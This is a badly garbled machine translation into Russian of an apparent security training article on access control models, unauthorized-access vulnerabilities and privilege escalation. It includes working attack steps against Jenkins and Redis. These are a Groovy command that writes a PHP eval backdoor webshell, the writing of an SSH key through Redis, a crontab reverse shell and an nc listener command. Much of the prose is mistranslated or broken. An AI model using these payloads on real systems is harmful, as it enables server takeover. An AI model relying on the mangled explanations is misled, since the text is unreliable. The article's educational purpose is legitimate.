Определенному субъекту необходимо выполнить определенную операцию над определенным объектом, и ограничением системы на эту операцию является контроль разрешений.
В защищенной системе аутентификация используется для подтверждения личности субъекта. Объект — это ресурс, который запрашивается субъектом. То, что может сделать субъект, — это авторитет, а авторитет можно подразделить на различные способности. Например: В файловой системе Linux разрешения делятся на три возможности: чтение, запись и выполнение.
Управление разрешениями обычно делится на два этапа: аутентификацию и авторизацию. Первым шагом является проверка личности, которая используется для проверки того, кто является пользователем и имеет ли он право войти в систему и получить доступ к системе. Это решает проблему [Кто я]: второй шаг — авторизация, то есть авторизация. используется для определения того, что может делать пользователь, и объединения различных функций системы. Предоставление разрешений разным учетным записям, чтобы они имели разные разрешения на работу после входа в систему, чтобы решить проблему [Что я могу сделать].
Образно говоря: предположим, что система представляет собой дом, и человек, держащий ключ, может открыть дверь и войти в дом. Далее дом осуществляет «проверку личности» через замки и ключи, а процесс открытия двери соответствует входу в систему. После открытия двери в какую комнату можно попасть, что можно и что нельзя делать - это область "авторизации".
Политика ACL: субъект-правило-объект
RBAC: системы веб-приложений часто используют эту модель.
ACL, список контроля доступа. ACL содержит три ключевых элемента: «Пользователь», «Ресурс» и «Операция ресурса». Каждый ресурс снабжен списком, в котором записано, какие пользователи могут выполнять какие операции на этом ресурсе. Когда система попытается получить доступ к этому ресурсу, она проверит, есть ли какие-либо разрешения на операцию для текущего пользователя в этом списке. ACL — это модель управления доступом, ориентированная на «ресурсы», и этот механизм разработан вокруг «ресурсов».
Типичный пример ACL: В Linux субъектом является пользователь системы, а объектом — файл, к которому осуществляется доступ. Операции, которые можно выполнять с файлом, делятся на чтение (r), запись (w) и выполнение (x). . Эти три операции соответствуют трем субъектам одновременно: владельцу файла, группе пользователей, к которой принадлежит владелец файла, и другим пользователям. Три соответствующих отношения субъект-объект-операция составляют список доступа управления ACL. Когда пользователь обращается к файлу, успех или неудача будут определяться ACL.
терминология
RBAC, управление доступом на основе ролей. RBAC считает, что авторизация на самом деле представляет собой связь между «Кто», «Что» и «Как», то есть «Кто выполняет операции «Как» над «Что».
Что касается контроля разрешений, обычно возникают следующие проблемы:
При наличии ошибок в конфигурации безопасности информационной системы или на странице адреса и авторизации для аутентификации органа может возникнуть Несанкционированный. доступ,в результате чего пользователь получает доступ к информационной системе,Затем используйте важные разрешения、Операционная база данных、Прочтите конфиденциальную информацию, такую как каталоги веб-сайтов.
в настоящее время существует Несанкционированный Уязвимость доступа в основном существует в разрешениях веб-приложений. В обычных обстоятельствах,Страница управления должна быть доступна только администраторам.,И сканеры поисковых систем не должны иметь возможности выполнять поиск по этим страницам.,Однако эти системы не контролируют права доступа пользователей.,В результате любой пользователь может получить доступ к этим страницам или использовать сканер для сканирования каталога страниц, если он создаст правильный URL-адрес.
Для веб-приложений Несанкционированный доступ часто возникает при входе в систему с пустым паролем и доступе к странице управления серверной частью. Пустые пароли часто возникают из-за проблем с конфигурацией.,Разрешить вход без ввода имени пользователя и пароля,Этого можно избежать, изменив конфигурацию. Страница фонового управления должна быть доступна только администраторам.,В обычных обстоятельствах доступ на стойку регистрации не должен осуществляться.,Поисковые системы и сканеры также не должны выполнять поиск на внутренних страницах.,Потому что система не контролирует права доступа пользователей,Злоумышленник может попытаться это сделать с помощью инструментов или вручную.
Для баз данных или некоторых сервисных компонентов Несанкционированный. доступ может быть связан с ошибками, появляющимися в некоторых версиях.,Разрешение злоумышленнику читать информацию базы данных,Чтение системных файлов,Даже использовать сервисы для записи файлов на хост
На данный момент к основным сервисам с уязвимостью Несанкционированный доступ относятся:
Метод испытания
Кейс: Alibaba Cloud определенно Несанкционированный доступ Можетпроверять Просмотр деловых записей
Случай:JenkinsНесанкционированный доступ
Jenkins — проект программного обеспечения с открытым исходным кодом.,Это инструмент непрерывной интеграции, разработанный на основе Java.,Он может превратить процесс разработки программного обеспечения в рабочий процесс. По умолчанию пользователи на панели Jenkins могут выбрать выполнение интерфейса сценария для выполнения некоторых команд системного уровня.,Злоумышленники могут проникнуть в серверную службу управления через уязвимость «Несанкционированный доступ» или перебор паролей пользователей.,Получите разрешения сервера через интерфейс выполнения скрипта.
Развертывание Дженкинса В версии 1.62 включена глобальная политика авторизации. Текущая новая версия Jenkins требует от пользователей входа в систему по умолчанию, но конфигурация по умолчанию в старой версии — «любой пользователь может делать что угодно». Вопросы о доступе
По умолчанию пароль не установлен, а доступ к http://lP:8080/manage и http://P:8080/script осуществляется напрямую через URL-адрес http://IP:8080/manage. Доступ к странице http://IP:8080/manage осуществляется напрямую без каких-либо действий. ограничения.
Нажмите «Выполнение команд сценария» и посетите страницу http://IP:8080/script. Вы можете видеть, что на веб-странице интегрирована функция онлайн-выполнения команд сценария.
Может выполнять Java-команды printIn"ls".execute().text, вызовите функцию для выполнения системной команды, вы увидите, что информация о файле в текущем каталоге отображается, эта уязвимость принадлежит Несанкционированный доступ также является уязвимостью выполнения команд.
Если путь к веб-сайту:/var/www/html (требуются определенные разрешения)
Используйте «командную строку сценария» для написания веб-оболочки, нажмите «Выполнить», об ошибках не сообщается, и запись прошла успешно.
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');
В то же время вы также можете написать предложение Троян:
new File ("/var/www/html/shell.php").write('<?php @eval($ _POST[cmd]); ?>');
Случай:RedisНесанкционированный доступ
Redis имеет полностью открытый исходный код и бесплатен, соответствует протоколу BSD, представляет собой высокопроизводительную систему хранения значений «ключ-значение» и кроссплатформенную нереляционную базу данных. Redis часто называют сервером структуры данных, поскольку значениями могут быть строки, хеши, списки, наборы, упорядоченные наборы и т. д. Он имеет следующие три характеристики по сравнению с другими продуктами кэширования «ключ-значение»:
Redis По умолчанию он будет привязан к 0.0.0.0:6379, если не приняты соответствующие политики, например добавление правил брандмауэра, чтобы избежать других ненадежных источников. ip доступ и т. д., что позволит Redis Служба доступна в общедоступной сети; если аутентификация по паролю не установлена (обычно пустая), любой пользователь сможет получить доступ к целевому серверу. доступ Redis и читать Redis данные
Злоумышленник Несанкционированный доступ Redis В случае использования Redis собственная предоставленная конфигурация Команда вы можете выполнять операции записи файлов, и злоумышленник может успешно записать свой открытый ключ ssh в /root/.ssh целевого сервера. авторизованная папка keys Затем вы можете использовать соответствующий закрытый ключ для прямого входа на целевой сервер с помощью службы ssh для добавления запланированных задач, записи в веб-оболочку и других операций.
RedisНесанкционированный доступиспользовать
Сканировать/подключиться к порту 6379 по умолчанию:
Вы можете установить dir в каталог a и dbfilename в имя файла b, а затем выполнить save для записи любого файла с путем a/b (требуется веб-сервис и разрешение на запись)
Конфигурация SSH без пароля
Подключитесь к Redis и используйте redis-cli для записи конфигурации для записи открытого ключа в каталог .ssh.
Используйте закрытый ключ для успешного входа на сервер Redis.
Подключитесь к Redis, запишите запланированные задачи в crontab и выполните повторную привязку оболочки, для которой требуются права root.
Запустите nc на атакующей машине, чтобы прослушать порт 5555 (любой незанятый порт) и дождитесь восстановления оболочки.
nc -lvnp 5555
Несанкционированный доступ — распространенная логическая уязвимость в веб-приложениях.,Ввиду широкого распространения и большого вреда,,По версии OWASP, он занимает второе место в десятке самых скрытых опасностей веб-приложений.
Потому что сервер слишком доверяет запросу операции с данными клиента.,Игнорирование определения прав доступа пользователя к работе,В результате, изменяя соответствующие параметры, вы можете получить функции добавления, удаления, проверки и изменения других учетных записей.,Это приводит к превышению полномочий.
По принципу работы базы данных ее можно разделить на:
По размерам его можно разделить на:
параллельные ультраправые полномочия(Тип разрешения остается неизменным,Идентификатор разрешения изменен)
вертикальное переопределение(РазрешенияIDпостоянный,Изменение типа разрешения
Пересечение ультра-вирес(Изменение типа разрешения,Идентификатор разрешения также меняется)
Модель управления разрешениями RBAC — это широко используемый метод управления разрешениями пользователей в новых системах. В традиционном типе разрешений разрешения предоставляются непосредственно пользователям, тогда как RBAC добавляет концепцию «роли». Сначала разрешения предоставляются ролям, а затем. на основе разных пользователей. Требования назначают роли пользователям. В настоящее время многие системы веб-сайтов используют метод управления разрешениями RBAC для назначения разных ролей разным пользователям и предоставления разрешений, таких как обычные пользователи, аудиторы, администраторы, суперадминистраторы и т. д.
Принцип горизонтального Ультравиреса заключается в том, что пользователь A и пользователь B принадлежат к одной и той же роли. Принадлежность пользователя A к роли X не определяет, может ли пользователь A получить доступ к данным, которые принадлежат только пользователю B. Б, это произойдет горизонтально. доступ。
Горизонтальный несанкционированный доступ также можно назвать уязвимостью атаки контроля доступа. Когда веб-приложение получает запрос пользователя на добавление, удаление, изменение или проверку фрагмента данных, оно не определяет пользователя, соответствующего данным, или при определении пользователя данных оно получает идентификатор пользователя из формы пользователя. Реализован, так что идентификатор пользователя можно изменить для достижения горизонтального переопределения.
Вертикальный принцип ultra В vires ролям с высокими привилегиями часто разрешается доступ к ресурсам ролей с низкими привилегиями. Ролям с низкими привилегиями запрещается доступ к ресурсам ролей с высокими привилегиями. Если роль с низкими привилегиями получает более высокие привилегии путем доступа к URL-адресам, изменения удостоверений, параметры перемещения и т.д. Способности персонажа, чтобы происходила вертикальная Несанкционированный доступ。
вертикальное переопределение — это уязвимость, вызванная конструктивным недостатком «контроля доступа на основе URL-адресов».,Также называется атакой повышения привилегий.,Конкретная причина заключается в том, что веб-приложение не контролирует разрешения пользователей.,Или просто сделайте контроль разрешений в меню.,В результате злоумышленникам нужно только угадать URL-адрес других страниц управления.,Вы можете получить доступ к другим персонажам или управлять ими, владея данными или страницами.,Достичь цели повышения привилегий.
вертикальное переопределение
Горизонтальные ультравиры
Некоторые изображения в этой статье взяты из учебного курса для сертифицированных инженеров службы безопасности Sangfor. Они предназначены для удобства личного изучения и использования и не предназначены для коммерческого использования! ! ! ! Текстовый контент набран лично мной, а не перенесен напрямую! Если есть какие-либо нарушения, пожалуйста, свяжитесь с нами, чтобы удалить их! ! !
Информация, представленная в этом документе, предназначена только дляОбразовательные цели и тестирование на проникновение с явным разрешением。Любое несанкционированное использование технической информации, содержащейся в этом документе, запрещено.дастрого запрещено,И может нарушать «Сетевой закон Китайской Народной Республики» и связанные с ним законы и правила. Пользователи должны использовать полученные знания законным и соответствующим требованиям образом.,Он не может использоваться для незаконного вторжения, разрушения информационных систем и других злонамеренных действий. Мы настоятельно рекомендуем всем читателям соблюдать местные законы и этические правила.,Исследуйте информационные технологии в пределах правовых границ.